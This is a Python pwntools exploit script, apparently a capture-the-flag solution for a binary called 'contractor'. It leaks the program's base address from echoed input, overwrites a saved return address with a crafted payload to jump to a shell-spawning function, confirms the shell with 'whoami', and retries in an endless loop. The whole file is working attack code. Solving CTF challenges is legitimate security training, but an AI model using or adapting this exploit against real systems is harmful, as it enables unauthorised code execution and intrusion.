exploit.py

#!/usr/bin/env python3
from pwn import *

gs = '''
continue
'''

def start(elf):
    if args.REMOTE:
        return remote("127.0.0.1", 1337)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

def newRecvall(p, timeout=1): 
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
        except EOFError:
            break
    log.info(hexdump(data))
    return data

def newSend(p, send, newline=True):
    if newline:
        log.info(b'SENDING (via sendline): ' + send)
        p.sendline(send)
    else:
        log.info(b'SENDING: ' + send)
        p.send(send)
    log.info(hexdump(send))

def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
    data = b""
    while True:
        try:
            chunk = p.recv(timeout=timeout)
            if not chunk:
                break
            data += chunk
            if until in data:
                break
        except EOFError:
            break
    if until not in data and error:
        log.info(b'Expected: ')
        log.info(hexdump(until))
        log.info(b'Received: ')
        log.info(hexdump(data))
        log.error(b'Expected `until` not found in received data')
    log.info(hexdump(data))
    newSend(p, send, newline)

def attempt_exploit():
    p = None
    try:
        elf = ELF("./contractor")
        context.binary = elf
        # context.terminal = ['tmux', 'splitw', '-hp', '70']

        libc = ELF("./glibc/libc.so.6")
        ld = ELF("./glibc/ld-linux-x86-64.so.2")
        # Start the process/connection
        p = start(elf)

        # === Leak program base ===
        newRecvuntilAndSend(p, b'What is your name?', b'A'*0x10, newline=False)
        newRecvuntilAndSend(p, b'Now can you tell me the reason you want to join me?', b'B'*0x100, newline=False)
        newRecvuntilAndSend(p, b'And what is your age again?', b'69')
        newRecvuntilAndSend(p, b'One last thing, you have a certain specialty in combat?', b'C'*0x10, newline=False)

        elf_leak = int.from_bytes(newRecvall(p)[0x2da:0x2e0], byteorder='little')
        log.info(b'elf_leak: ')
        log.info(hex(elf_leak))

        elf.address = elf_leak - elf.symbols['__libc_csu_init']
        log.info(b'elf.address: ')
        log.info(hex(elf.address))

        contract_addr = elf.address + 0x1343
        log.info(b'contract_addr: ')
        log.info(hex(contract_addr))

        # === Overwrite return address ===
        newSend(p, b'4')

        newRecvuntilAndSend(p, b'And what are you good at:', 
            ((b'D'*0x10) + 
            p64(elf_leak) + 
            b'\xff\xff\xff\xff' + 
            b'\xff\xff\xff\xff' + 
            b'\x60\x0a'), # the 0x60 here is a blind value (maybe put your lucky number here (must be multiple of 8 bytes))
            newline=False
        )

        newRecvuntilAndSend(p, b'>', b'4')

        newRecvuntilAndSend(p, b'And what are you good at:', 
            (p64(contract_addr) + 
            p64(contract_addr) +
            b'\x0a'), 
            newline=False
        )

        newRecvuntilAndSend(p, b'I suppose everything is correct now?', b'Yes')

        newRecvall(p)

        newSend(p, b'whoami')

        resp = newRecvall(p)
        if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
            p.interactive()

        p.close()

    except:
        log.info(b'Error')
        p.close()

while True:
    attempt_exploit()